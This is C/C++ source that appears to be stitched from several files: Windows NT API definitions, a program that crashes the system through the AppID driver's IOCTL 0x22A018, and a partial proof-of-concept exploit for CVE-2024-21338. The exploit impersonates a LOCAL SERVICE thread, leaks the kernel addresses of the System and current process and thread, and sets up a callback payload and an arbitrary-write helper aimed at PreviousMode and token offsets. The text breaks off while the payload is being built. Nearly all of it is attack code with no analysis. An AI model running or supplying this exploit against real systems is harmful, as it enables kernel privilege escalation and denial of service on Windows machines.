#define InitializeObjectAttributes( p, n, a, r, s, t ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = t; \
}
typedef enum _THREADINFOCLASS
{
ThreadImpersonationToken = 5 //Rust docs say so
} THREADINFOCLASS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemProcessorInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
SystemPageFileInformation = 18,
SystemVdmInstemulInformation = 19,
SystemVdmBopInformation = 20,
SystemFileCacheInformation = 21,
SystemPoolTagInformation = 22,
SystemInterruptInformation = 23,
SystemDpcBehaviorInformation = 24,
SystemFullMemoryInformation = 25,
SystemLoadGdiDriverInformation = 26,
SystemUnloadGdiDriverInformation = 27,
SystemTimeAdjustmentInformation = 28,
SystemSummaryMemoryInformation = 29,
SystemMirrorMemoryInformation = 30,
SystemPerformanceTraceInformation = 31,
SystemObsolete0 = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemExtendServiceTableInformation = 38,
SystemPrioritySeperation = 39,
SystemVerifierAddDriverInformation = 40,
SystemVerifierRemoveDriverInformation = 41,
SystemProcessorIdleInformation = 42,
SystemLegacyDriverInformation = 43,
SystemCurrentTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemTimeSlipNotification = 46,
SystemSessionCreate = 47,
SystemSessionDetach = 48,
SystemSessionInformation = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemVerifierThunkExtend = 52,
SystemSessionProcessInformation = 53,
SystemLoadGdiDriverInSystemSpace = 54,
SystemNumaProcessorMap = 55,
SystemPrefetcherInformation = 56,
SystemExtendedProcessInformation = 57,
SystemRecommendedSharedDataAlignment = 58,
SystemComPlusPackage = 59,
SystemNumaAvailableMemory = 60,
SystemProcessorPowerInformation = 61,
SystemEmulationBasicInformation = 62,
SystemEmulationProcessorInformation = 63,
SystemExtendedHandleInformation = 64,
SystemLostDelayedWriteInformation = 65,
SystemBigPoolInformation = 66,
SystemSessionPoolTagInformation = 67,
SystemSessionMappedViewInformation = 68,
SystemHotpatchInformation = 69,
SystemObjectSecurityMode = 70,
SystemWatchdogTimerHandler = 71,
SystemWatchdogTimerInformation = 72,
SystemLogicalProcessorInformation = 73,
SystemWow64SharedInformationObsolete = 74,
SystemRegisterFirmwareTableInformationHandler = 75,
SystemFirmwareTableInformation = 76,
SystemModuleInformationEx = 77,
SystemVerifierTriageInformation = 78,
SystemSuperfetchInformation = 79,
SystemMemoryListInformation = 80,
SystemFileCacheInformationEx = 81,
SystemThreadPriorityClientIdInformation = 82,
SystemProcessorIdleCycleTimeInformation = 83,
SystemVerifierCancellationInformation = 84,
SystemProcessorPowerInformationEx = 85,
SystemRefTraceInformation = 86,
SystemSpecialPoolInformation = 87,
SystemProcessIdInformation = 88,
SystemErrorPortInformation = 89,
SystemBootEnvironmentInformation = 90,
SystemHypervisorInformation = 91,
SystemVerifierInformationEx = 92,
SystemTimeZoneInformation = 93,
SystemImageFileExecutionOptionsInformation = 94,
SystemCoverageInformation = 95,
SystemPrefetchPatchInformation = 96,
SystemVerifierFaultsInformation = 97,
SystemSystemPartitionInformation = 98,
SystemSystemDiskInformation = 99,
SystemProcessorPerformanceDistribution = 100,
SystemNumaProximityNodeInformation = 101,
SystemDynamicTimeZoneInformation = 102,
SystemCodeIntegrityInformation = 103,
SystemProcessorMicrocodeUpdateInformation = 104,
SystemProcessorBrandString = 105,
SystemVirtualAddressInformation = 106,
SystemLogicalProcessorAndGroupInformation = 107,
SystemProcessorCycleTimeInformation = 108,
SystemStoreInformation = 109,
SystemRegistryAppendString = 110,
SystemAitSamplingValue = 111,
SystemVhdBootInformation = 112,
SystemCpuQuotaInformation = 113,
SystemNativeBasicInformation = 114,
SystemErrorPortTimeouts = 115,
SystemLowPriorityIoInformation = 116,
SystemBootEntropyInformation = 117,
SystemVerifierCountersInformation = 118,
SystemPagedPoolInformationEx = 119,
SystemSystemPtesInformationEx = 120,
SystemNodeDistanceInformation = 121,
SystemAcpiAuditInformation = 122,
SystemBasicPerformanceInformation = 123,
SystemQueryPerformanceCounterInformation = 124,
SystemSessionBigPoolInformation = 125,
SystemBootGraphicsInformation = 126,
SystemScrubPhysicalMemoryInformation = 127,
SystemBadPageInformation = 128,
SystemProcessorProfileControlArea = 129,
SystemCombinePhysicalMemoryInformation = 130,
SystemEntropyInterruptTimingInformation = 131,
SystemConsoleInformation = 132,
SystemPlatformBinaryInformation = 133,
SystemPolicyInformation = 134,
SystemHypervisorProcessorCountInformation = 135,
SystemDeviceDataInformation = 136,
SystemDeviceDataEnumerationInformation = 137,
SystemMemoryTopologyInformation = 138,
SystemMemoryChannelInformation = 139,
SystemBootLogoInformation = 140,
SystemProcessorPerformanceInformationEx = 141,
SystemCriticalProcessErrorLogInformation = 142,
SystemSecureBootPolicyInformation = 143,
SystemPageFileInformationEx = 144,
SystemSecureBootInformation = 145,
SystemEntropyInterruptTimingRawInformation = 146,
SystemPortableWorkspaceEfiLauncherInformation = 147,
SystemFullProcessInformation = 148,
SystemKernelDebuggerInformationEx = 149,
SystemBootMetadataInformation = 150,
SystemSoftRebootInformation = 151,
SystemElamCertificateInformation = 152,
SystemOfflineDumpConfigInformation = 153,
SystemProcessorFeaturesInformation = 154,
SystemRegistryReconciliationInformation = 155,
SystemEdidInformation = 156,
SystemManufacturingInformation = 157,
SystemEnergyEstimationConfigInformation = 158,
SystemHypervisorDetailInformation = 159,
SystemProcessorCycleStatsInformation = 160,
SystemVmGenerationCountInformation = 161,
SystemTrustedPlatformModuleInformation = 162,
SystemKernelDebuggerFlags = 163,
SystemCodeIntegrityPolicyInformation = 164,
SystemIsolatedUserModeInformation = 165,
SystemHardwareSecurityTestInterfaceResultsInformation = 166,
SystemSingleModuleInformation = 167,
SystemAllowedCpuSetsInformation = 168,
SystemVsmProtectionInformation = 169,
SystemInterruptCpuSetsInformation = 170,
SystemSecureBootPolicyFullInformation = 171,
SystemCodeIntegrityPolicyFullInformation = 172,
SystemAffinitizedInterruptProcessorInformation = 173,
SystemRootSiloInformation = 174,
SystemCpuSetInformation = 175,
SystemCpuSetTagInformation = 176,
SystemWin32WerStartCallout = 177,
SystemSecureKernelProfileInformation = 178,
SystemCodeIntegrityPlatformManifestInformation = 179,
SystemInterruptSteeringInformation = 180,
SystemSupportedProcessorArchitectures = 181,
SystemMemoryUsageInformation = 182,
SystemCodeIntegrityCertificateInformation = 183,
SystemPhysicalMemoryInformation = 184,
SystemControlFlowTransition = 185,
SystemKernelDebuggingAllowed = 186,
SystemActivityModerationExeState = 187,
SystemActivityModerationUserSettings = 188,
SystemCodeIntegrityPoliciesFullInformation = 189,
SystemCodeIntegrityUnlockInformation = 190,
SystemIntegrityQuotaInformation = 191,
SystemFlushInformation = 192,
SystemProcessorIdleMaskInformation = 193,
SystemSecureDumpEncryptionInformation = 194,
SystemWriteConstraintInformation = 195,
SystemKernelVaShadowInformation = 196,
SystemHypervisorSharedPageInformation = 197,
SystemFirmwareBootPerformanceInformation = 198,
SystemCodeIntegrityVerificationInformation = 199,
SystemFirmwarePartitionInformation = 200,
SystemSpeculationControlInformation = 201,
SystemDmaGuardPolicyInformation = 202,
SystemEnclaveLaunchControlInformation = 203,
SystemWorkloadAllowedCpuSetsInformation = 204,
SystemCodeIntegrityUnlockModeInformation = 205,
SystemLeapSecondInformation = 206,
SystemFlags2Information = 207,
SystemSecurityModelInformation = 208,
SystemCodeIntegritySyntheticCacheInformation = 209,
SystemFeatureConfigurationInformation = 210,
SystemFeatureConfigurationSectionInformation = 211,
SystemFeatureUsageSubscriptionInformation = 212,
SystemSecureSpeculationControlInformation = 213,
SystemSpacesBootInformation = 214,
SystemFwRamdiskInformation = 215,
SystemWheaIpmiHardwareInformation = 216,
SystemDifSetRuleClassInformation = 217,
SystemDifClearRuleClassInformation = 218,
SystemDifApplyPluginVerificationOnDriver = 219,
SystemDifRemovePluginVerificationOnDriver = 220,
SystemShadowStackInformation = 221,
SystemBuildVersionInformation = 222,
SystemPoolLimitInformation = 223,
SystemCodeIntegrityAddDynamicStore = 224,
SystemCodeIntegrityClearDynamicStores = 225,
SystemDifPoolTrackingInformation = 226,
SystemPoolZeroingInformation = 227,
SystemDpcWatchdogInformation = 228,
SystemDpcWatchdogInformation2 = 229,
SystemSupportedProcessorArchitectures2 = 230,
SystemSingleProcessorRelationshipInformation = 231,
SystemXfgCheckFailureInformation = 232,
SystemIommuStateInformation = 233,
SystemHypervisorMinrootInformation = 234,
SystemHypervisorBootPagesInformation = 235,
SystemPointerAuthInformation = 236,
SystemSecureKernelDebuggerInformation = 237,
SystemOriginalImageFeatureInformation = 238,
MaxSystemInfoClass = 239
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void* Object;
unsigned long GrantedAccess;
long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[255];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef
VOID
(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
typedef NTSTATUS (NTAPI* pNtOpenProcessToken)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, PHANDLE TokenHandle);
typedef NTSTATUS (NTAPI* pNtAdjustPrivilegesToken)(HANDLE TokenHandle, BOOLEAN DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, ULONG BufferLength, PTOKEN_PRIVILEGES PreviousState, PULONG ReturnLength);
typedef NTSTATUS (NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS (NTAPI* pNtDuplicateToken)(HANDLE ExistingTokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, BOOLEAN EffectiveOnly, TOKEN_TYPE TokenType, PHANDLE NewTokenHandle);
typedef NTSTATUS (NTAPI* pNtSetInformationThread)(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength);
typedef NTSTATUS (NTAPI* pNtQueryInformationToken)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, PVOID TokenInformation, ULONG TokenInformationLength, PULONG ReturnLength);
typedef NTSTATUS (NTAPI* pNtClose)(HANDLE Handle);
typedef NTSTATUS(NTAPI* pRtlGetVersion)(LPOSVERSIONINFOEXW lpVersionInformation);
typedef NTSTATUS(NTAPI* pNtDeviceIoControlFile)(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG IoControlCode,
_In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
_In_ ULONG OutputBufferLength
);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);
typedef NTSTATUS(NTAPI* pNtCreateFile)(
_Out_ PHANDLE FileHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_opt_ PLARGE_INTEGER AllocationSize,
_In_ ULONG FileAttributes,
_In_ ULONG ShareAccess,
_In_ ULONG CreateDisposition,
_In_ ULONG CreateOptions,
_In_reads_bytes_opt_(EaLength) PVOID EaBuffer,
_In_ ULONG EaLength
);
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
typedef VOID(NTAPI* pRtlInitUnicodeString)(
_Out_ PUNICODE_STRING DestinationString,
_In_opt_z_ PCWSTR SourceString
);
extern pNtAdjustPrivilegesToken NtAdjustPrivilegesToken;
extern pNtOpenProcessToken NtOpenProcessToken;
extern pNtWriteVirtualMemory NtWriteVirtualMemory;
extern pNtOpenProcess NtOpenProcess;
extern pNtDuplicateToken NtDuplicateToken;
extern pNtSetInformationThread NtSetInformationThread;
extern pNtQueryInformationToken NtQueryInformationToken;
extern pNtClose NtClose;
extern pNtDeviceIoControlFile NtDeviceIoControlFile;
extern pNtCreateFile NtCreateFile;
extern pNtQuerySystemInformation NtQuerySystemInformation;
extern pRtlInitUnicodeString RtlInitUnicodeString;
extern pRtlGetVersion RtlGetVersion;
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtImpersonateThread(
IN HANDLE ThreadHandle,
IN HANDLE ThreadToImpersonate,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);
bool EnableDebugPrivilege()
{
HANDLE hToken = nullptr;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
return TRUE;
}
bool ImpersonateThread()
{
bool result = false;
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (h != INVALID_HANDLE_VALUE) {
DWORD pid = 0;
// Get parent of audiodg.exe - svchost.exe with NT AUTHORITY/LOCAL SERVICE
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(h, &pe)) {
do {
if (pe.szExeFile == std::wstring(L"audiodg.exe")) {
pid = pe.th32ParentProcessID;
break;
}
} while (Process32Next(h, &pe));
}
if (pid) {
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te)) {
do {
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) {
if (pid == te.th32OwnerProcessID) {
HANDLE hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, 0, te.th32ThreadID);
if (hThread) {
SECURITY_QUALITY_OF_SERVICE SecurityQos = { 0 };
SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQos.ImpersonationLevel = SecurityImpersonation;
NTSTATUS status = NtImpersonateThread(GetCurrentThread(), hThread, &SecurityQos);
result = status == 0;
printf("Process %d Thread %d, status: 0x%X\n",
te.th32OwnerProcessID, te.th32ThreadID, status);
CloseHandle(hThread);
}
break;
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
}
CloseHandle(h);
}
return result;
}
void MakeBSOD()
{
HANDLE hDevice = CreateFileW(L"\\\\.\\AppID",
0x40000000u,
FILE_SHARE_READ |
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Device not found, GLE: %d\n", GetLastError());
return;
}
uint8_t buffer[0x18] = { 0 };
DWORD returned;
BOOL bResult = DeviceIoControl(hDevice,
0x22A018,
buffer, sizeof(buffer),
buffer, sizeof(buffer),
&returned,
(LPOVERLAPPED)NULL);
printf("DeviceIoControl result: %s, GLE: %d\n", bResult ? "true" : "false", GetLastError());
system("pause");
CloseHandle(hDevice);
}
int main() {
system("sc start appidsvc");
if (!EnableDebugPrivilege()) {
printf("EnableDebugPrivilege failed\n");
return 1;
}
if (!ImpersonateThread()) {
printf("ImpersonateThread failed\n");
return 1;
}
MakeBSOD();
return 0;
}
/*
PoC Info
-------------------------------------------
Vulnerability: CVE-2024-21338
Environment: Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <winsvc.h>
#include <stdio.h>
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <stdint.h>
#include <winternl.h>
#include <psapi.h>
#include <string.h>
#pragma comment(lib, "ntdllp.lib")
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IOCTL_SMART_HASH_IMAGE_FILE 0x22A018
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define EPROCESS_SECURE_STATE_OFFSET 0x3E0
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
#define offset_PopEtDataSectionCopyData 0x7ACEA8
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//
// Main exploit structures definition
//
typedef struct _VULN_CALLBACK_STRUCT
{
PVOID vuln_callback_addr;
}VULN_CALLBACK_STRUCT;
typedef struct _SMART_HASH_IMAGE_FILE
{
int64_t field0;
unsigned __int64 dummy_f_obj; // should containt a valid FILE_OBJECT pointer to avoid BSOD
VULN_CALLBACK_STRUCT *ptr; // points to the struct which contain malicious callback function pointer
void *prev_mode; // KTHREAD->PreviousMode address
}SMART_HASH_IMAGE_FILE;
//
// SC Manager helper functions
//
SC_HANDLE GetSCM()
{
SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!svcManager)
{
printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError());
return FALSE;
}
else
{
printf("[+] OpenSCManagerW handle value opened!\n");
return svcManager;
}
}
void AppIDStart()
{
printf("[!] Starting AppIDSvc\n");
system("sc start AppIDSvc");
}
SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName)
{
SC_HANDLE sh = 0;
BOOL success = FALSE;
SC_HANDLE scm = GetSCM();
if (scm)
{
sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS);
if (sh == NULL)
{
printf("[-] OpenServiceW failed with error %d\n", GetLastError());
return 0;
}
else return sh;
}
return 0;
}
DWORD GetServiceProcessID(LPCWSTR ServiceName)
{
SERVICE_STATUS_PROCESS ssp = { 0 };
DWORD dwBytesNeeded = 0;
SC_HANDLE ServiceHandle = 0;
ServiceHandle = GetServiceHandleByName(ServiceName);
if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
{
printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError());
CloseServiceHandle(ServiceHandle);
}
else
{
printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId);
return ssp.dwProcessId;
}
return 0;
}
DWORD GetFirstThreadID(DWORD PID)
{
THREADENTRY32 te32 = { 0 };
HANDLE hThreadSnap;
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
te32.dwSize = sizeof(THREADENTRY32);
Thread32First(hThreadSnap, &te32);
do
{
if (te32.th32OwnerProcessID == PID)
{
printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID);
return te32.th32ThreadID;
}
} while (Thread32Next(hThreadSnap, &te32));
return ERROR_FILE_NOT_FOUND;
}
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if ( !LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid ) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if ( !AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL EnableDebugPrivilege()
{
HANDLE tempTokenHandle;
HANDLE currentToken;
BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
if (!success)
{
printf("[-] Failed to open current process token\n");
return FALSE;
}
currentToken = tempTokenHandle;
success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE);
if (!success)
{
printf("[-] Failed to set SeDebugPrivilege\n");
return FALSE;
}
return TRUE;
}
//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int32_t Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
//
// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
//
while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
if (pHandleInfo != NULL)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return Ret;
}
//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
{
return -1;
}
return Status;
}
uint64_t GetNtoskrnlBaseAddress() {
LPVOID drivers[1024];
DWORD cbNeeded;
if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
printf("[-] Error enumerating device drivers. Error code: %d\n", GetLastError());
return NULL;
}
// ntoskrnl.exe address indexed by 0
return drivers[0];
}
int main()
{
DWORD dwLocalSvcId = 0;
DWORD tid = 0;
HANDLE local_service_thread;
BOOL success = FALSE;
HANDLE hToken;
HANDLE hproc;
HANDLE hLocalSvc = 0;
SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
HANDLE hAppID;
//
// Initialize kernel objects to leak
//
uint64_t Sysproc = 0;
uint64_t Curproc = 0;
uint64_t Curthread = 0;
uint64_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
HANDLE hProc = NULL;
uint32_t Ret = 0;
//
// Start the vulnerable service, because it's off by default
//
AppIDStart();
//
// It could be any service which is running at LOCAL_SERVICE privileges
// except services running as PPL
//
dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc");
tid = GetFirstThreadID(dwLocalSvcId);
success = EnableDebugPrivilege();
if (!success)
{
printf("[-] EnableDebugPrivilege failed\n");
}
hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId);
if (!hLocalSvc)
{
printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError());
}
local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid);
if (local_service_thread == NULL)
{
printf("[-] OpenThread failed with error %d\n", GetLastError());
}
else
{
printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n");
}
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
//__debugbreak();
NTSTATUS status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos);
if (!NT_SUCCESS(status))
{
printf("[-] NtImpersonateThread failed with status = %x\n", status);
}
hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hAppID == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFileW failed with error %d\n", GetLastError());
}
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address: %llx\n", Sysproc);
//
// Terminate the impersonation because otherwise we can't get kernel object addresses for some reason
//
RevertToSelf();
//
// Leak Current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
goto done;
}
printf("[+] Current KTHREAD address: %llx\n", Curthread);
}
//
// Leak Current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
goto done;
}
printf("[+] Current EPROCESS address: %llx\n", Curproc);
}
//
// Leak dummy file object to avoid BSOD
//
HANDLE hDummyFile = 0;
uint64_t DummyFile = 0;
hDummyFile = CreateFileW(L"C:\\Users\\shit.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDummyFile != NULL)
{
Ret = GetObjPtr(&DummyFile, GetCurrentProcessId(), hDummyFile);
if (Ret != NULL)
{
goto done;
}
printf("[+] Dummy FILE_OBJECT address: %llx\n", DummyFile);
}
//
// Initialize the payload buffer
//
SMART_HASH_IMAGE_FILE shif = { 0 };
DWORD inbufsize = sizeof(SMART_HASH_IMAGE_FILE);
uint64_t ntoskrnl_base = GetNtoskrnlBaseAddress();
